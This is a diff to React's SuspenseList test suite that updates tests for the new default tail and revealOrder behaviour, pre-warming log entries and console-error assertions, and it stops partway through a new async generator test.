   it('warns if a single element is passed to a "forwards" list', async () => {
     function Foo({children}) {
-      return <SuspenseList revealOrder="forwards">{children}</SuspenseList>;
+      return (
+        <SuspenseList revealOrder="forwards" tail="visible">
+          {children}
+        </SuspenseList>
+      );
     }
 
     ReactNoop.render(<Foo />);
@@ -137,15 +150,14 @@ describe('ReactSuspenseList', () => {
     // No warning
     await waitForAll([]);
 
-    await expect(async () => {
-      await act(() => {
-        ReactNoop.render(
-          <Foo>
-            <Suspense fallback="Loading">Child</Suspense>
-          </Foo>,
-        );
-      });
-    }).toErrorDev([
+    await act(() => {
+      ReactNoop.render(
+        <Foo>
+          <Suspense fallback="Loading">Child</Suspense>
+        </Foo>,
+      );
+    });
+    assertConsoleErrorDev([
       'A single row was passed to a <SuspenseList revealOrder="forwards" />. ' +
         'This is not useful since it needs multiple rows. ' +
         'Did you mean to pass multiple children or an array?' +
@@ -158,18 +170,17 @@ describe('ReactSuspenseList', () => {
   it('warns if a single fragment is passed to a "backwards" list', async () => {
     function Foo() {
       return (
-        <SuspenseList revealOrder="backwards">
+        <SuspenseList revealOrder="unstable_legacy-backwards" tail="visible">
           <>{[]}</>
         </SuspenseList>
       );
     }
 
-    await expect(async () => {
-      await act(() => {
-        ReactNoop.render(<Foo />);
-      });
-    }).toErrorDev([
-      'A single row was passed to a <SuspenseList revealOrder="backwards" />. ' +
+    await act(() => {
+      ReactNoop.render(<Foo />);
+    });
+    assertConsoleErrorDev([
+      'A single row was passed to a <SuspenseList revealOrder="unstable_legacy-backwards" />. ' +
         'This is not useful since it needs multiple rows. ' +
         'Did you mean to pass multiple children or an array?' +
         '\n    in SuspenseList (at **)' +
@@ -181,7 +192,7 @@ describe('ReactSuspenseList', () => {
   it('warns if a nested array is passed to a "forwards" list', async () => {
     function Foo({items}) {
       return (
-        <SuspenseList revealOrder="forwards">
+        <SuspenseList revealOrder="forwards" tail="visible">
           {items.map(name => (
             <Suspense key={name} fallback="Loading">
               {name}
@@ -192,11 +203,10 @@ describe('ReactSuspenseList', () => {
       );
     }
 
-    await expect(async () => {
-      await act(() => {
-        ReactNoop.render(<Foo items={['A', 'B']} />);
-      });
-    }).toErrorDev([
+    await act(() => {
+      ReactNoop.render(<Foo items={['A', 'B']} />);
+    });
+    assertConsoleErrorDev([
       'A nested array was passed to row #0 in <SuspenseList />. ' +
         'Wrap it in an additional SuspenseList to configure its revealOrder: ' +
         '<SuspenseList revealOrder=...> ... ' +
@@ -208,7 +218,7 @@ describe('ReactSuspenseList', () => {
   });
 
   // @gate enableSuspenseList
-  it('shows content independently by default', async () => {
+  it('behaves as revealOrder=forwards by default', async () => {
     const A = createAsyncText('A');
     const B = createAsyncText('B');
     const C = createAsyncText('C');
@@ -229,6 +239,68 @@ describe('ReactSuspenseList', () => {
       );
     }
 
+    ReactNoop.render(<Foo />);
+
+    await waitForAll(['Suspend! [A]', 'Loading A']);
+
+    expect(ReactNoop).toMatchRenderedOutput(null);
+
+    await A.resolve();
+
+    await waitForAll(['A', 'Suspend! [B]', 'Loading B']);
+
+    // Incremental loading is suspended.
+    jest.advanceTimersByTime(500);
+
+    expect(ReactNoop).toMatchRenderedOutput(<span>A</span>);
+
+    await act(() => B.resolve());
+    assertLog(['B', 'Suspend! [C]', 'Loading C']);
+
+    // Incremental loading is suspended.
+    jest.advanceTimersByTime(500);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>A</span>
+        <span>B</span>
+      </>,
+    );
+
+    await act(() => C.resolve());
+    assertLog(['C']);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('shows content independently with revealOrder="independent"', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <SuspenseList revealOrder="independent">
+          <Suspense fallback={<Text text="Loading A" />}>
+            <A />
+          </Suspense>
+          <Suspense fallback={<Text text="Loading B" />}>
+            <B />
+          </Suspense>
+          <Suspense fallback={<Text text="Loading C" />}>
+            <C />
+          </Suspense>
+        </SuspenseList>
+      );
+    }
+
     await A.resolve();
 
     ReactNoop.render(<Foo />);
@@ -239,6 +311,9 @@ describe('ReactSuspenseList', () => {
       'Loading B',
       'Suspend! [C]',
       'Loading C',
+      // pre-warming
+      'Suspend! [B]',
+      'Suspend! [C]',
     ]);
 
     expect(ReactNoop).toMatchRenderedOutput(
@@ -250,7 +325,11 @@ describe('ReactSuspenseList', () => {
     );
 
     await act(() => C.resolve());
-    assertLog(['C']);
+    assertLog(
+      gate('alwaysThrottleRetries')
+        ? ['Suspend! [B]', 'C', 'Suspend! [B]']
+        : ['C'],
+    );
 
     expect(ReactNoop).toMatchRenderedOutput(
       <>
@@ -551,7 +630,7 @@ describe('ReactSuspenseList', () => {
   });
 
   // @gate enableSuspenseList
-  it('displays all "together" in nested SuspenseLists where the inner is default', async () => {
+  it('displays all "together" in nested SuspenseLists where the inner is "independent"', async () => {
     const A = createAsyncText('A');
     const B = createAsyncText('B');
     const C = createAsyncText('C');
@@ -562,7 +641,7 @@ describe('ReactSuspenseList', () => {
           <Suspense fallback={<Text text="Loading A" />}>
             <A />
           </Suspense>
-          <SuspenseList>
+          <SuspenseList revealOrder="independent">
             <Suspense fallback={<Text text="Loading B" />}>
               <B />
             </Suspense>
@@ -730,7 +809,12 @@ describe('ReactSuspenseList', () => {
 
     ReactNoop.render(<Foo />);
 
-    await waitForAll(['Suspend! [A]', 'Loading']);
+    await waitForAll([
+      'Suspend! [A]',
+      'Loading',
+      // pre-warming
+      'Suspend! [A]',
+    ]);
 
     expect(ReactNoop).toMatchRenderedOutput(<span>Loading</span>);
 
@@ -879,7 +963,7 @@ describe('ReactSuspenseList', () => {
 
     function Foo() {
       return (
-        <SuspenseList revealOrder="forwards">
+        <SuspenseList revealOrder="forwards" tail="visible">
           <Suspense fallback={<Text text="Loading A" />}>
             <A />
           </Suspense>
@@ -897,7 +981,14 @@ describe('ReactSuspenseList', () => {
 
     ReactNoop.render(<Foo />);
 
-    await waitForAll(['Suspend! [A]', 'Loading A', 'Loading B', 'Loading C']);
+    await waitForAll([
+      'Suspend! [A]',
+      'Loading A',
+      'Loading B',
+      'Loading C',
+      // pre-warming
+      'Suspend! [A]',
+    ]);
 
     expect(ReactNoop).toMatchRenderedOutput(
       <>
@@ -908,7 +999,7 @@ describe('ReactSuspenseList', () => {
     );
 
     await act(() => A.resolve());
-    assertLog(['A', 'Suspend! [B]']);
+    assertLog(['A', 'Suspend! [B]', 'Suspend! [B]']);
 
     expect(ReactNoop).toMatchRenderedOutput(
       <>
@@ -938,7 +1029,78 @@ describe('ReactSuspenseList', () => {
 
     function Foo() {
       return (
-        <SuspenseList revealOrder="backwards">
+        <SuspenseList revealOrder="backwards" tail="visible">
+          <Suspense fallback={<Text text="Loading C" />}>
+            <C />
+          </Suspense>
+          <Suspense fallback={<Text text="Loading B" />}>
+            <B />
+          </Suspense>
+          <Suspense fallback={<Text text="Loading A" />}>
+            <A />
+          </Suspense>
+        </SuspenseList>
+      );
+    }
+
+    await A.resolve();
+
+    ReactNoop.render(<Foo />);
+
+    await waitForAll([
+      'Suspend! [C]',
+      'Loading C',
+      'Loading B',
+      'Loading A',
+      // pre-warming
+      'Suspend! [C]',
+    ]);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </>,
+    );
+
+    await act(() => C.resolve());
+    assertLog([
+      'C',
+      'Suspend! [B]',
+      // pre-warming
+      'Suspend! [B]',
+    ]);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>C</span>
+      </>,
+    );
+
+    await act(() => B.resolve());
+    assertLog(['B', 'A']);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('displays each items in "backwards" order (legacy)', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <SuspenseList revealOrder="unstable_legacy-backwards" tail="visible">
           <Suspense fallback={<Text text="Loading A" />}>
             <A />
           </Suspense>
@@ -956,7 +1118,14 @@ describe('ReactSuspenseList', () => {
 
     ReactNoop.render(<Foo />);
 
-    await waitForAll(['Suspend! [C]', 'Loading C', 'Loading B', 'Loading A']);
+    await waitForAll([
+      'Suspend! [C]',
+      'Loading C',
+      'Loading B',
+      'Loading A',
+      // pre-warming
+      'Suspend! [C]',
+    ]);
 
     expect(ReactNoop).toMatchRenderedOutput(
       <>
@@ -967,7 +1136,12 @@ describe('ReactSuspenseList', () => {
     );
 
     await act(() => C.resolve());
-    assertLog(['C', 'Suspend! [B]']);
+    assertLog([
+      'C',
+      'Suspend! [B]',
+      // pre-warming
+      'Suspend! [B]',
+    ]);
 
     expect(ReactNoop).toMatchRenderedOutput(
       <>
@@ -1000,7 +1174,7 @@ describe('ReactSuspenseList', () => {
 
     function Foo({items}) {
       return (
-        <SuspenseList revealOrder="forwards">
+        <SuspenseList revealOrder="forwards" tail="visible">
           {items.map(([key, Component]) => (
             <Suspense key={key} fallback={<Text text={'Loading ' + key} />}>
               <Component />
@@ -1088,7 +1262,13 @@ describe('ReactSuspenseList', () => {
     );
 
     await act(() => C.resolve());
-    assertLog(['A', 'C', 'Suspend! [E]']);
+    assertLog([
+      'A',
+      'C',
+      'Suspend! [E]',
+      // pre-warming
+      'Suspend! [E]',
+    ]);
 
     // We can now resolve the full head.
     expect(ReactNoop).toMatchRenderedOutput(
@@ -1103,7 +1283,12 @@ describe('ReactSuspenseList', () => {
     );
 
     await act(() => E.resolve());
-    assertLog(['E', 'Suspend! [F]']);
+    assertLog([
+      'E',
+      'Suspend! [F]',
+      // pre-warming
+      'Suspend! [F]',
+    ]);
 
     // In the tail we can resolve one-by-one.
     expect(ReactNoop).toMatchRenderedOutput(
@@ -1174,7 +1359,7 @@ describe('ReactSuspenseList', () => {
 
     function Foo({items}) {
       return (
-        <SuspenseList revealOrder="backwards">
+        <SuspenseList revealOrder="unstable_legacy-backwards" tail="visible">
           {items.map(([key, Component]) => (
             <Suspense key={key} fallback={<Text text={'Loading ' + key} />}>
               <Component />
@@ -1244,6 +1429,9 @@ describe('ReactSuspenseList', () => {
       'E',
       'Suspend! [F]',
       'Loading F',
+      // pre-warming
+      'Suspend! [D]',
+      'Suspend! [F]',
     ]);
 
     // This will suspend, since the boundaries are avoided. Give them
@@ -1287,7 +1475,13 @@ describe('ReactSuspenseList', () => {
     );
 
     await act(() => D.resolve());
-    assertLog(['D', 'F', 'Suspend! [B]']);
+    assertLog([
+      'D',
+      'F',
+      'Suspend! [B]',
+      // pre-warming
+      'Suspend! [B]',
+    ]);
 
     // We can now resolve the full head.
     expect(ReactNoop).toMatchRenderedOutput(
@@ -1304,7 +1498,12 @@ describe('ReactSuspenseList', () => {
     );
 
     await act(() => B.resolve());
-    assertLog(['B', 'Suspend! [A]']);
+    assertLog([
+      'B',
+      'Suspend! [A]',
+      // pre-warming
+      'Suspend! [A]',
+    ]);
 
     // In the tail we can resolve one-by-one.
     expect(ReactNoop).toMatchRenderedOutput(
@@ -1338,7 +1537,7 @@ describe('ReactSuspenseList', () => {
   it('switches to rendering fallbacks if the tail takes long CPU time', async () => {
     function Foo() {
       return (
-        <SuspenseList revealOrder="forwards">
+        <SuspenseList revealOrder="forwards" tail="visible">
           <Suspense fallback={<Text text="Loading A" />}>
             <Text text="A" />
           </Suspense>
@@ -1423,7 +1622,12 @@ describe('ReactSuspenseList', () => {
 
     ReactNoop.render(<Foo />);
 
-    await waitForAll(['Suspend! [A]', 'Loading A']);
+    await waitForAll([
+      'Suspend! [A]',
+      'Loading A',
+      // pre-warming
+      'Suspend! [A]',
+    ]);
 
     expect(ReactNoop).toMatchRenderedOutput(<span>Loading A</span>);
 
@@ -1469,45 +1673,105 @@ describe('ReactSuspenseList', () => {
   });
 
   // @gate enableSuspenseList
-  it('warns if an unsupported tail option is used', async () => {
+  it('behaves as tail=hidden if no tail option is specified', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
     function Foo() {
       return (
-        <SuspenseList revealOrder="forwards" tail="collapse">
-          <Suspense fallback="Loading">A</Suspense>
-          <Suspense fallback="Loading">B</Suspense>
+        <SuspenseList revealOrder="forwards">
+          <Suspense fallback={<Text text="Loading A" />}>
+            <A />
+          </Suspense>
+          <Suspense fallback={<Text text="Loading B" />}>
+            <B />
+          </Suspense>
+          <Suspense fallback={<Text text="Loading C" />}>
+            <C />
+          </Suspense>
         </SuspenseList>
       );
     }
 
-    await expect(async () => {
-      await act(() => {
-        ReactNoop.render(<Foo />);
-      });
-    }).toErrorDev([
-      '"collapse" is not a supported value for tail on ' +
-        '<SuspenseList />. Did you mean "collapsed" or "hidden"?' +
-        '\n    in SuspenseList (at **)' +
-        '\n    in Foo (at **)',
-    ]);
-  });
+    ReactNoop.render(<Foo />);
 
-  // @gate enableSuspenseList
-  it('warns if a tail option is used with "together"', async () => {
-    function Foo() {
-      return (
-        <SuspenseList revealOrder="together" tail="collapsed">
-          <Suspense fallback="Loading">Content</Suspense>
-        </SuspenseList>
-      );
-    }
+    await waitForAll(['Suspend! [A]', 'Loading A']);
 
-    await expect(async () => {
-      await act(() => {
-        ReactNoop.render(<Foo />);
-      });
-    }).toErrorDev([
-      '<SuspenseList tail="collapsed" /> is only valid if ' +
-        'revealOrder is "forwards" or "backwards". ' +
+    expect(ReactNoop).toMatchRenderedOutput(null);
+
+    await A.resolve();
+
+    await waitForAll(['A', 'Suspend! [B]', 'Loading B']);
+
+    // Incremental loading is suspended.
+    jest.advanceTimersByTime(500);
+
+    expect(ReactNoop).toMatchRenderedOutput(<span>A</span>);
+
+    await act(() => B.resolve());
+    assertLog(['B', 'Suspend! [C]', 'Loading C']);
+
+    // Incremental loading is suspended.
+    jest.advanceTimersByTime(500);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>A</span>
+        <span>B</span>
+      </>,
+    );
+
+    await act(() => C.resolve());
+    assertLog(['C']);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('warns if an unsupported tail option is used', async () => {
+    function Foo() {
+      return (
+        <SuspenseList revealOrder="forwards" tail="collapse">
+          <Suspense fallback="Loading">A</Suspense>
+          <Suspense fallback="Loading">B</Suspense>
+        </SuspenseList>
+      );
+    }
+
+    await act(() => {
+      ReactNoop.render(<Foo />);
+    });
+    assertConsoleErrorDev([
+      '"collapse" is not a supported value for tail on ' +
+        '<SuspenseList />. Did you mean "visible", "collapsed" or "hidden"?' +
+        '\n    in SuspenseList (at **)' +
+        '\n    in Foo (at **)',
+    ]);
+  });
+
+  // @gate enableSuspenseList
+  it('warns if a tail option is used with "together"', async () => {
+    function Foo() {
+      return (
+        <SuspenseList revealOrder="together" tail="collapsed">
+          <Suspense fallback="Loading">Content</Suspense>
+        </SuspenseList>
+      );
+    }
+
+    await act(() => {
+      ReactNoop.render(<Foo />);
+    });
+    assertConsoleErrorDev([
+      '<SuspenseList tail="collapsed" /> is only valid if ' +
+        'revealOrder is "forwards" (default) or "backwards". ' +
         'Did you mean to specify revealOrder="forwards"?' +
         '\n    in SuspenseList (at **)' +
         '\n    in Foo (at **)',
@@ -1731,7 +1995,7 @@ describe('ReactSuspenseList', () => {
 
     function Foo({items}) {
       return (
-        <SuspenseList revealOrder="backwards" tail="collapsed">
+        <SuspenseList revealOrder="unstable_legacy-backwards" tail="collapsed">
           {items.map(([key, Component]) => (
             <Suspense key={key} fallback={<Text text={'Loading ' + key} />}>
               <Component />
@@ -1937,6 +2201,8 @@ describe('ReactSuspenseList', () => {
       'Suspend! [D]',
       'Loading D',
       'Loading E',
+      // pre-warming
+      'Suspend! [B]',
     ]);
 
     // This is suspended due to the update to D causing a loading state.
@@ -1958,7 +2224,11 @@ describe('ReactSuspenseList', () => {
 
     await B.resolve();
 
-    await waitForAll(['B', 'Suspend! [C]']);
+    await waitForAll([
+      'B',
+      'Suspend! [C]',
+      ...(!gate('alwaysThrottleRetries') ? ['Suspend! [C]'] : []),
+    ]);
 
     // Incremental loading is suspended.
     jest.advanceTimersByTime(500);
@@ -2076,6 +2346,227 @@ describe('ReactSuspenseList', () => {
     );
   });
 
+  // @gate enableSuspenseList
+  it('reveals "hidden" rows one by one without suspense boundaries', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <SuspenseList revealOrder="forwards" tail="hidden">
+          <div>
+            <A />
+          </div>
+          <B />
+          <C />
+        </SuspenseList>
+      );
+    }
+
+    ReactNoop.render(
+      <Suspense fallback="Loading root">
+        <Foo />
+      </Suspense>,
+    );
+
+    await waitForAll(['Suspend! [A]']);
+
+    // We can commit without any rows at all leaving empty.
+    expect(ReactNoop).toMatchRenderedOutput(null);
+
+    await act(() => A.resolve());
+    assertLog(['A', 'Suspend! [B]']);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <div>
+        <span>A</span>
+      </div>,
+    );
+
+    await act(() => B.resolve());
+    assertLog(['B', 'Suspend! [C]']);
+
+    // Incremental loading is suspended.
+    jest.advanceTimersByTime(500);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <div>
+          <span>A</span>
+        </div>
+        <span>B</span>
+      </>,
+    );
+
+    await act(() => C.resolve());
+    assertLog(['C']);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <div>
+          <span>A</span>
+        </div>
+        <span>B</span>
+        <span>C</span>
+      </>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('preserves already mounted rows when a new hidden on is inserted in the tail', async () => {
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    let count = 0;
+    function MountCount({children}) {
+      // This component should only mount once.
+      React.useLayoutEffect(() => {
+        count++;
+      }, []);
+      return children;
+    }
+
+    function Foo({insert}) {
+      return (
+        <SuspenseList
+          revealOrder="forwards"
+          tail={insert ? 'hidden' : 'visible'}>
+          <Text text="A" />
+          {insert ? <B /> : null}
+          <MountCount>
+            <Suspense fallback={<Text text="Loading C" />}>
+              <C />
+            </Suspense>
+          </MountCount>
+        </SuspenseList>
+      );
+    }
+
+    await act(() => {
+      ReactNoop.render(<Foo insert={false} />);
+    });
+    assertLog(['A', 'Suspend! [C]', 'Loading C', 'Suspend! [C]']);
+
+    expect(count).toBe(1);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>A</span>
+        <span>Loading C</span>
+      </>,
+    );
+
+    await act(() => {
+      ReactNoop.render(<Foo insert={true} />);
+    });
+
+    assertLog(['A', 'Suspend! [B]', 'A', 'Suspend! [B]']);
+
+    expect(count).toBe(1);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>A</span>
+        <span>Loading C</span>
+      </>,
+    );
+
+    await act(async () => {
+      await B.resolve();
+      await C.resolve();
+    });
+
+    assertLog(['A', 'B', 'C']);
+
+    expect(count).toBe(1);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('reveals "collapsed" rows one by one after the first without boundaries', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <SuspenseList revealOrder="forwards" tail="collapsed">
+          <A />
+          <Suspense fallback={<Text text="Loading B" />}>
+            <B />
+          </Suspense>
+          <C />
+        </SuspenseList>
+      );
+    }
+
+    await act(async () => {
+      ReactNoop.render(
+        <Suspense fallback="Loading root">
+          <Foo />
+        </Suspense>,
+      );
+      await waitForAll(['Suspend! [A]', 'Suspend! [A]']);
+    });
+
+    // The root is still blocked on the first row.
+    expect(ReactNoop).toMatchRenderedOutput('Loading root');
+
+    await A.resolve();
+
+    await waitForAll(['A', 'Suspend! [B]', 'Loading B']);
+
+    // Incremental loading is suspended.
+    jest.advanceTimersByTime(500);
+
+    // Because we have a Suspense boundary that can commit we can now unblock the rest.
+    // If it wasn't a boundary then we couldn't make progress because it would commit
+    // without any loading state.
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>A</span>
+        <span>Loading B</span>
+      </>,
+    );
+
+    await act(() => B.resolve());
+    assertLog(['B', 'Suspend! [C]', 'B', 'Suspend! [C]']);
+
+    // Incremental loading is suspended.
+    jest.advanceTimersByTime(500);
+
+    // Surprisingly unsuspending B actually causes the parent to resuspend
+    // because C is now unblocked which resuspends the parent. Preventing the
+    // Retry from committing. That's because we don't want to commit into a
+    // state that doesn't have any loading indicators at all. That's what
+    // "collapsed" is for. To ensure there's always a loading indicator.
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>A</span>
+        <span>Loading B</span>
+      </>,
+    );
+
+    await act(() => C.resolve());
+    assertLog(['B', 'C']);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </>,
+    );
+  });
+
   // @gate enableSuspenseList
   it('eventually resolves a nested forwards suspense list', async () => {
     const B = createAsyncText('B');
@@ -2083,7 +2574,7 @@ describe('ReactSuspenseList', () => {
     function Foo() {
       return (
         <SuspenseList revealOrder="together">
-          <SuspenseList revealOrder="forwards">
+          <SuspenseList revealOrder="forwards" tail="visible">
             <Suspense fallback={<Text text="Loading A" />}>
               <Text text="A" />
             </Suspense>
@@ -2184,7 +2675,7 @@ describe('ReactSuspenseList', () => {
 
     function Foo({showB}) {
       return (
-        <SuspenseList revealOrder="forwards">
+        <SuspenseList revealOrder="forwards" tail="visible">
           <SuspenseList revealOrder="forwards" tail="hidden">
             <Suspense fallback={<Text text="Loading A" />}>
               <Text text="A" />
@@ -2250,7 +2741,7 @@ describe('ReactSuspenseList', () => {
     function Foo() {
       return (
         <div>
-          <SuspenseList revealOrder="forwards">
+          <SuspenseList revealOrder="forwards" tail="visible">
             <Text text="A" />
             <Text text="B" />
           </SuspenseList>
@@ -2349,7 +2840,13 @@ describe('ReactSuspenseList', () => {
     // This should leave the tree intact.
     await act(() => ReactNoop.render(<Foo updateList={true} />));
 
-    assertLog(['A', 'Suspend! [B]', 'Loading B']);
+    assertLog([
+      'A',
+      'Suspend! [B]',
+      'Loading B',
+      // pre-warming
+      'Suspend! [B]',
+    ]);
 
     expect(ReactNoop).toMatchRenderedOutput(
       <>
@@ -2430,7 +2927,12 @@ describe('ReactSuspenseList', () => {
       expect(ReactNoop).toMatchRenderedOutput(<span>Loading A</span>);
 
       // Try again on low-pri.
-      await waitForAll(['Suspend! [A]', 'Loading A']);
+      await waitForAll([
+        'Suspend! [A]',
+        'Loading A',
+        // pre-warming
+        'Suspend! [A]',
+      ]);
       expect(ReactNoop).toMatchRenderedOutput(<span>Loading A</span>);
     });
 
@@ -2591,7 +3093,7 @@ describe('ReactSuspenseList', () => {
     function App() {
       Scheduler.log('App');
       return (
-        <SuspenseList revealOrder="forwards">
+        <SuspenseList revealOrder="forwards" tail="visible">
           <Suspense fallback={<Text text="Loading A" />}>
             <Sleep time={600}>
               <TwoPass text="A" />
@@ -2678,7 +3180,7 @@ describe('ReactSuspenseList', () => {
       Scheduler.log('App');
       return (
         <Profiler id="root" onRender={onRender}>
-          <SuspenseList revealOrder="forwards">
+          <SuspenseList revealOrder="forwards" tail="visible">
             <Suspense fallback={<Fallback />}>
               <Sleep time={1}>
                 <A />
@@ -2706,7 +3208,15 @@ describe('ReactSuspenseList', () => {
 
     ReactNoop.render(<App suspendTail={true} />);
 
-    await waitForAll(['App', 'A', 'B', 'Suspend! [C]', 'Fallback']);
+    await waitForAll([
+      'App',
+      'A',
+      'B',
+      'Suspend! [C]',
+      'Fallback',
+      // pre-warming
+      'Suspend! [C]',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput(
       <>
         <span>A</span>
@@ -2714,7 +3224,9 @@ describe('ReactSuspenseList', () => {
         <span>Loading...</span>
       </>,
     );
-    expect(onRender).toHaveBeenCalledTimes(1);
+    expect(onRender).toHaveBeenCalledTimes(
+      gate('alwaysThrottleRetries') ? 1 : 2,
+    );
 
     // The treeBaseDuration should be the time to render each child. The last
     // one counts the fallback time.
@@ -2737,12 +3249,18 @@ describe('ReactSuspenseList', () => {
         <span>C</span>
       </>,
     );
-    expect(onRender).toHaveBeenCalledTimes(2);
+    expect(onRender).toHaveBeenCalledTimes(
+      gate('alwaysThrottleRetries') ? 2 : 3,
+    );
 
     // actualDuration
-    expect(onRender.mock.calls[1][2]).toBe(1 + 4 + 5);
+    expect(onRender.mock.calls[1][2]).toBe(
+      gate('alwaysThrottleRetries') ? 1 + 4 + 5 : 5,
+    );
     // treeBaseDuration
-    expect(onRender.mock.calls[1][3]).toBe(1 + 4 + 5);
+    expect(onRender.mock.calls[1][3]).toBe(
+      gate('alwaysThrottleRetries') ? 1 + 4 + 5 : 8,
+    );
 
     ReactNoop.render(<App addRow={true} suspendTail={true} />);
 
@@ -2759,6 +3277,8 @@ describe('ReactSuspenseList', () => {
       'Fallback',
       // Lastly we render the tail.
       'Fallback',
+      // pre-warming
+      'Suspend! [C]',
     ]);
 
     // Flush suspended time.
@@ -2773,7 +3293,9 @@ describe('ReactSuspenseList', () => {
         <span>Loading...</span>
       </>,
     );
-    expect(onRender).toHaveBeenCalledTimes(3);
+    expect(onRender).toHaveBeenCalledTimes(
+      gate('alwaysThrottleRetries') ? 4 : 5,
+    );
 
     // The treeBaseDuration should be the time to render the first two
     // children and then two fallbacks.
@@ -2782,12 +3304,21 @@ describe('ReactSuspenseList', () => {
     // with force fallback mode.
 
     // actualDuration
-    expect(onRender.mock.calls[2][2]).toBe((1 + 4 + 5 + 3) * 2 + 3);
+    expect(onRender.mock.calls[2][2]).toBe(
+      gate('alwaysThrottleRetries') ? (1 + 4 + 5 + 3) * 2 + 3 : 10,
+    );
     // treeBaseDuration
-    expect(onRender.mock.calls[2][3]).toBe(1 + 4 + 3 + 3);
+    expect(onRender.mock.calls[2][3]).toBe(
+      gate('alwaysThrottleRetries') ? 1 + 4 + 3 + 3 : 10,
+    );
 
     await act(() => C.resolve());
-    assertLog(['C', 'Suspend! [D]']);
+    assertLog([
+      'C',
+      'Suspend! [D]',
+      // pre-warming
+      'Suspend! [D]',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput(
       <>
         <span>A</span>
@@ -2796,12 +3327,17 @@ describe('ReactSuspenseList', () => {
         <span>Loading...</span>
       </>,
     );
-    expect(onRender).toHaveBeenCalledTimes(4);
+
+    expect(onRender).toHaveBeenCalledTimes(
+      gate('alwaysThrottleRetries') ? 6 : 7,
+    );
 
     // actualDuration
-    expect(onRender.mock.calls[3][2]).toBe(5 + 12);
+    expect(onRender.mock.calls[5][2]).toBe(
+      gate('alwaysThrottleRetries') ? 12 : 17,
+    );
     // treeBaseDuration
-    expect(onRender.mock.calls[3][3]).toBe(1 + 4 + 5 + 3);
+    expect(onRender.mock.calls[5][3]).toBe(1 + 4 + 5 + 3);
   });
 
   // @gate enableSuspenseList
@@ -2820,7 +3356,7 @@ describe('ReactSuspenseList', () => {
       // Several layers of Bailout wrappers help verify we're
       // marking updates all the way to the propagation root.
       return (
-        <SuspenseList revealOrder="forwards">
+        <SuspenseList revealOrder="forwards" tail="visible">
           <Bailout>
             <Bailout>
               <Bailout>
@@ -2862,7 +3398,14 @@ describe('ReactSuspenseList', () => {
 
     ReactNoop.render(<Foo />);
 
-    await waitForAll(['Suspend! [A]', 'Loading A', 'Loading B', 'Loading C']);
+    await waitForAll([
+      'Suspend! [A]',
+      'Loading A',
+      'Loading B',
+      'Loading C',
+      // pre-warming
+      'Suspend! [A]',
+    ]);
 
     expect(ReactNoop).toMatchRenderedOutput(
       <>
@@ -2873,7 +3416,7 @@ describe('ReactSuspenseList', () => {
     );
 
     await act(() => A.resolve());
-    assertLog(['A', 'Suspend! [B]']);
+    assertLog(['A', 'Suspend! [B]', 'Suspend! [B]']);
     expect(ReactNoop).toMatchRenderedOutput(
       <>
         <span>A</span>
@@ -2906,7 +3449,7 @@ describe('ReactSuspenseList', () => {
 
       function Repro({update}) {
         return (
-          <SuspenseList revealOrder="forwards">
+          <SuspenseList revealOrder="forwards" tail="visible">
             {update && (
               <Suspense fallback={<Text text="Loading A..." />}>
                 <A />
@@ -2996,4 +3539,201 @@ describe('ReactSuspenseList', () => {
       );
     },
   );
+
+  // @gate enableSuspenseList && enableAsyncIterableChildren
+  it('warns for async generator components in "forwards" order', async () => {
+    async function* Generator() {
+      yield 'A';
+      yield 'B';
+    }
+    function Foo() {
+      return (
+        <SuspenseList revealOrder="forwards" tail="visible">
+          <Generator />
+        </SuspenseList>
+      );
+    }
+
+    await act(() => {
+      React.startTransition(() => {
+        ReactNoop.render(<Foo />);
+      });
+    });
+    assertConsoleErrorDev([
+      'A generator Component was passed to a <SuspenseList revealOrder="forwards" />. ' +
+        'This is not supported as a way to generate lists. Instead, pass an ' +
+        'iterable as the children.' +
+        '\n    in SuspenseList (at **)' +
+        '\n    in Foo (at **)',
+      '<Generator> is an async Client Component. ' +
+        'Only Server Components can be async at the moment. ' +
+        "This error is often caused by accidentally adding `'use client'` " +
+        'to a module that was originally written for the server.\n' +
+        '    in Foo (at **)',
